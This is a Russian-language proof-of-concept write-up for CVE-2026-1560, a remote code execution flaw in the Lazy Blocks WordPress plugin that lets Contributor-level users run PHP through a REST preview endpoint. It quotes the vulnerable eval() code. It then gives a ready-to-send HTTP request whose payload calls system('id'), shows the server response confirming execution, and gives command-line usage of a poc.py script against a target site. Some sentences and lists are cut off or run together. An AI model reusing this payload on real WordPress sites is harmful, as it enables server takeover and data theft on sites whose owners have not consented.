
Доказательство концепции эксплуатации для CVE-2026-1560, аутентифицированной уязвимости удалённого выполнения кода в плагине Lazy Blocks для WordPress, позволяющей пользователям с низкими привилегиями выполнять произвольный PHP через REST API.
Исследователь: ZeYrOXxx
Плагин: Custom Block Builder – Lazy Blocks
Затронутые версии: ≤ 4.2.0
Серьёзность: Высокая
CVSS: 8.8
Тип уязвимости: Аутентифицированное удалённое выполнение кода (RCE)
Вектор атаки: REST API
Требуемые привилегии: edit_posts (Contributor+)
В плагине Custom Block Builder – Lazy Blocks для WordPress была выявлена уязвимость высокой степени серьёзности, затрагивающая версии вплоть до 4.2.0 включительно.
Уязвимость позволяет аутентифицированным пользователям с низкими привилегиями (роль Contributor) выполнять произвольный PHP-код на сервере через конечную точку REST API, предназначенную для предпросмотра блоков.
Эта проблема полностью нарушает модель привилегий WordPress и может привести к .
POST /wp-json/lazy-blocks/v1/block-builder-preview/
Конечная точка доступна любому аутентифицированному пользователю с возможностью edit_posts.
Маршрут REST зарегистрирован со слабым обратным вызовом проверки разрешений:
'permission_callback' => array( $this, 'block_builder_preview_permission' )
Это включает пользователей с ролью Contributor, которым никогда не должно быть разрешено выполнять PHP-код.
REST-контроллер – classes/class-rest.php
$block = $request->get_param( 'block' );
$block_result = lazyblocks()->blocks()->render_callback(
$attributes,
null,
null,
$context,
$block_data
);
Рендерер блоков – classes/class-blocks.php
public function php_eval( $code, $attributes, $context ) {
ob_start();
eval( '?>' . $code );
return ob_get_clean();
}
Функция eval() выполняет PHP-код, контролируемый атакующим, без санитизации или проверки.
Lazy Blocks позволяет использовать пользовательскую PHP-логику рендеринга для блоков.
Конечная точка предпросмотра REST API принимает определения блоков, предоставленные пользователем, и не различает доверенные сохранённые блоки и блоки предпросмотра, контролируемые атакующим.
Внедряя упрощённые атрибуты блоков, такие как:
code_output_methodcode_editor_htmlатакующий может достичь точки выполнения php_eval() и запустить произвольный PHP-код.
Запрос:
POST /wp-json/lazy-blocks/v1/block-builder-preview/ HTTP/1.1
Host: example.com
Content-Type: application/json
Authorization: Basic [Contributor_Credentials]
{
"context": "editor",
"block": {
"slug": "exploit-block",
"code_output_method": "php",
"code_editor_html": "<?php echo 'VULNERABLE: ' . system('id'); ?>"
}
}
Ответ:
HTTP/1.1 200 OK
Content-Type: application/json
{
"success": true,
"response": "<div useBlockProps>VULNERABLE: uid=33(www-data)...</div>"
}
✔ Выполнение произвольных команд подтверждено
Данное PoC предоставлено строго в целях тестирования безопасности и исследовательских целях.
Атакующий с доступом Contributor может:
wp-config.php)eval() для ввода, контролируемого пользователемmanage_options или unfiltered_htmlrequestsedit_posts (Contributor+)pip install requests
python3 poc.py <target_url> <username> <password> "<command>"
python3 poc.py https://victim.site contributor password "id"
Если цель уязвима, вывод команды будет возвращён в HTTP-ответе.
⚠️ Данное доказательство концепции предназначено строго для авторизованного тестирования безопасности и исследовательских целей.